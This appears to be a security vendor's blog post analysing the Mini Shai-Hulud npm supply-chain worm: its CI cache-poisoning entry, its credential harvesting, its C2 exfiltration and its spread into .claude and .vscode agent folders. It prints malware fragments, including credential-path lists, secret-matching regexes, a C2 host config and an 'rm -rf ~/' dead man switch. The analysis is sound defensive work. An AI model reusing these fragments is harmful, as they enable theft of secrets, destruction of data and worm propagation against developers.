Akamai to acquire LayerX to enforce AI usage control on any browser. Get details

Mini Shai-Hulud: The Worm Returns and Goes Public

Share

Affected Akamai Hunt customers have already received a detailed mapping of vulnerable assets with actionable segmentation and mitigation recommendations.

Executive summary

  • On May 11, 2026, a new wave of the Shai-Hulud supply chain campaign hit the npm ecosystem by publishing malicious versions of packages across the TanStack dependency tree.

  • The attack was performed by hijacking legitimate release workflow through a continuous integration (CI) cache-poisoning attack and npm’s OpenID Connect (OIDC) publishing endpoint.

  • The campaign quickly expanded beyond TanStack to additional npm packages linked to Mistral AI, UiPath, OpenSearch, and others.

  • The next day, new GitHub repositories appeared to be hosting the source code of the malicious Shai-Hulud worm.

  • In this blog post, we analyze the newly released malware, examine how this attack wave differs from earlier waves, and provide mitigation recommendations for maintainers and organizations.

On May 11, 2026, TeamPCP continued its ongoing supply chain campaign by introducing a new payload in the form of a shai-hulud variant. In our previous blog post on this topic, we noted that the ransomware group Vect had announced a partnership with TeamPCP, hinting at a possible shift from credential theft toward large-scale extortion and ransomware operations.

This new campaign offers the first concrete signal that this shift may already be underway.

Earlier waves of the Shai-Hulud worm

The Shai-Hulud worm first appeared in September 2025. Its core mechanism was straightforward: Steal an npm publish token, enumerate every package that token could reach, inject malicious code, and republish.

Following its debut, Shai-Hulud remained active through the end of the year, re-emerging in November and December 2025 with updated data-wiping functionality. 

The new wave includes CI cache poisoning and OIDC abuse

Every previous wave began with a stolen credential. This one did not.

TeamPCP, the threat actor behind the Trivy breach in March 2026 and several subsequent operations, has claimed authorship of this new wave, which they call Mini Shai-Hulud.

For this new wave, the attackers exploited a pull request workflow misconfiguration in TanStack's GitHub Actions CI. A pull request from a fork triggered a workflow with write access to the base repository's cache. The attacker's code poisoned that cache and waited. 

Eight hours later, a legitimate maintainer merge triggered the standard release workflow,  which pulled the poisoned cache and executed the attacker's code.

Invisibly scraping tokens

The attacker's worm then scraped tokens directly from the GitHub Actions runner's memory and exchanged them for npm publish credentials through npm's own token exchange endpoint. No npm tokens were “stolen” and the publish workflow itself did not seem to be compromised, making the attack invisible and granting it SLSA attestation validation.

Another crucial change is that now the payload creates a background daemon that uses the stolen token from the initial access. If the token is revoked, the daemon immediately wipes the victim’s entire home directory

Targeting coding agents

Malware persistence was also extended to include Claude Code session hooks and VS Code task automation, both of which survive an “npm uninstall” operation. 

The worm itself hasn’t changed — once the worm obtains valid credentials, it enumerates every package that it identifies and tries to inject itself into those packages. 

The campaign goes public

On the evening of May 12, 2026, the fully weaponized worm code was publicly released. Although we can’t know for certain that this is identical to the malware that hit TanStack; nevertheless, the full malicious payload is now available to anyone.

On the evening of May 12, 2026, the fully weaponized worm code was publicly released. A snippet from the one of the GitHub repositories before it was taken down

Malware breakdown: The main loop

The worm main loop is not very big, with only a handful of phases, but meticulous care was taken on every phase, including:

  • Phase 0 — Preflight checks

  • Phase 1 — Quick wins

  • Phase 2 — Command and control (C2) communication

  • Phase 3 — Harvesting platform credentials

  • Phase 4 — The continuous spread

The main loop looks something like this:

main()
      └── preflight()
      └── setupQuickResults()
      └── C2 / Dispatcher setup
             └── collector.ingest(...)    
      └── collector.run(providers)
      └── ReadmeUpdater / spread
      └── collector.finalize()   

Phase 0 — Preflight checks

The malware begins by checking whether it is running in the context of the opensearch-js package. If so, it attempts to inject a backdoor into the package, trigger its OIDC client, steal credentials immediately, and forge its SLSA signature.

Next, the malware checks whether the system language is set to Russian. If it is, the malware exits.

It then completes its preflight checks by ensuring that it is the only running instance, confirming that it is executing inside a CI/CD environment, and preventing termination through SIGINT or SIGTERM.

Phase 1 — Quick wins

In this phase, the malware attempts to quickly collect as many credentials as possible from the endpoint. It does so by reading more than 1,000 known credential locations, attempting to run gh auth token, and capturing process.env to steal credentials from environment variables.

LINUX:[
…
    scramble("~/.ssh/known_hosts"),
    scramble("~/.terraform.d/credentials.tfrc.json"),
    scramble("/var/lib/docker/containers/*/config.v2.json"),
    scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
    scramble("~/.viminfo"),
    scramble("**/wp-config.php"),
    scramble("~/.yarnrc"),
    scramble("~/.zcash/wallet.dat"),
    scramble("~/.zsh_history"),
] 
WIN: [
    ".env",
    "config.ini",
    scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
    scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
    scramble("%PROGRAMDATA%\OpenVPN\config\*"),
    scramble("%APPDATA%\\ProtonVPN\\user.config"),
    scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
    scramble("%APPDATA%\\Private Internet Access\*.conf"),
    scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
    scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
    scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
    scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
  ],
  OSX: [
    scramble("~/.ansible/*"),
    scramble("~/.aws/config"),
    scramble("~/.aws/credentials"),
    scramble("~/.azure/accessTokens.json"),
    scramble("~/.azure/msal_token_cache.*"),
    scramble("~/.bash_history"),
    scramble("~/.bitcoin/wallet.dat"),

Phase 2 — Command and control (C2) communication

The worm then sets up C2 communication with its main server:

const dest: SenderDestination = {
      domain: scramble("git-tanstack.com"),
      port: 443,
      path: scramble("router"),
      dry_run: false,
};

Using its main dispatcher function, the worm encrypts all stolen data with a hardcoded RSA public key before transmission. This ensures that only the attacker can read the exfiltrated data. The code also urges future operators to replace this key.

The malware first attempts to contact its primary C2 server. If that communication is blocked, it returns to creating a new GitHub repository under the victim’s own account and committing the encrypted data there. The attacker can then monitor GitHub for these repositories using their distinctive description.

Once the encrypted data reaches 100 KB, exfiltration begins.

Phase 3 — Harvesting platform credentials

After setup is complete, the malware begins more aggressive credential harvesting from platforms such as AWS, Kubernetes, GitHub, and others.

For example, in Kubernetes environments, the worm attempts to iterate over many different locations and secrets using regular expressions:

constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}

private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}

private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

In AWS-related collection, some of the locations the worm searches include:

~/.aws/credentials

~/.aws/config

~/.azure/accessTokens.json

~/.azure/msal_token_cache.*

~/.config/gcloud/credentials.db

access_tokens.db

application_default_credentials.json

~/.terraform.d/credentials.tfrc.json

Once collection is complete, the malware sends the collected data through its C2 channel and continues spreading to other repositories.

One notable non–framework-related behavior is that the malware also searches for bitcoin wallets, specifically targeting ~/.bitcoin/wallet.dat.

Phase 4 — The continuous spread

To spread further, the worm uses each valid GitHub token it finds to create a workflow that steals additional secrets and continues the infection chain.

If no workflow token is found, the worm spreads by iterating over every GitHub branch it discovers and inserting malicious files, including a loader and the worm binary, into AI agent–related folders such as .claude and .vscode:

const FILE_UPDATES: FileSourceMap = {
  ".vscode/tasks.json": task,
  [`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
  ".claude/settings.json": claude_settings,
  ".claude/setup.mjs": config,
  ".vscode/setup.mjs": config,
};

If the worm finds NPM tokens, it starts its NPMClient and copies the malware into packages/opensearch_init.js. 

The malware uses a similar spreading chain for OIDC tokens.

Malware breakdown: The dead man switch

In addition to the main loop, one of the most prominent parts of the malware is its dead man switch. Once every 60 seconds, the malware checks whether tokens have been rotated. If they have, the worm attempts to delete files from the machine:

logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

Although there are several other aspects and layers of code we have not covered here, we believe the behavior we have described is enough to demonstrate the attackers’ sophistication and intent.

Detection and mitigation

To keep your organization protected, we recommend that you immediately consult with a security professional and take the following actions:

  • Downgrade infected packages to safe versions

  • Reduce the blast radius from affected hosts via network segmentation

Looking ahead

This campaign marks another escalation point in TeamPCP’s ongoing operation. For eight months, the group has run a methodical and technically sophisticated credential theft campaign, focused on harvesting secrets, abusing developer workflows, and expanding access across software supply chain environments.

This latest variant shows continued investment in automation, credential harvesting, and propagation across repositories, packages, and developer tooling. The campaign also appears at a notable time; that is, following TeamPCP’s announced partnership with Vect.

With the worm now public and the toolchain available to other operators, the concern is no longer limited to TeamPCP alone. The same techniques can now be studied, adapted, and reused by additional threat actors.

Stay tuned

The Akamai Security Intelligence Group will continue to monitor, report on, and create mitigations for threats such as these for both our customers and the security community at large. To keep up with more breaking news from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.

Tags

Share

Related Blog Posts

Security Research
One Is a Fluke, 3 Is a Pattern: MCP Back-End Vulnerabilities
May 12, 2026
Akamai researchers uncover vulnerabilities in three MCP servers. Learn about CVE-2025-66335 and how to secure your AI-to-backend connection.
Security Research
CVE-2026-34354: Guardicore Local Privilege Escalation Vulnerability
May 08, 2026
Read the technical details of a security vulnerability (CVE-2026-34354) in Akamai Guardicore Platform Agent for Windows — and get clear guidance on mitigation.
Security Research
The New Ouroboros Technique and How It Fits in dMSA’s Security Model
May 04, 2026
dMSA is more than a service account migration feature. Learn what its security model is trying to protect, how the implementation works, and where Ouroboros fits.